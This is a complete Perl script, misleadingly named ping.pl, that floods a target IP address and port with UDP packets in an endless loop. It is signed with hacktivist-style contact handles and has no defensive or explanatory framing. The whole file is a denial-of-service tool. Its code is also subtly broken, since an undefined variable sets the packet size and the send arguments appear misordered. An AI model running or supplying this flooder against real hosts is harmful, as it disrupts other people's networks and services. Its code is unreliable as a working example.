ping.pl

#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=2) {
 printf "skype mrcfull\n";
 printf "twitter.com/AnonMRC\n";
 printf "$0 <ip> <port>\n";
 exit(1);
}
my ($ip,$port,$size);
$ip=$ARGV[0];
$port=$ARGV[1];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "Flooding UDP port " . $port . " on " . $ip . "\n";
printf "end with Ctrl-C\n";
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}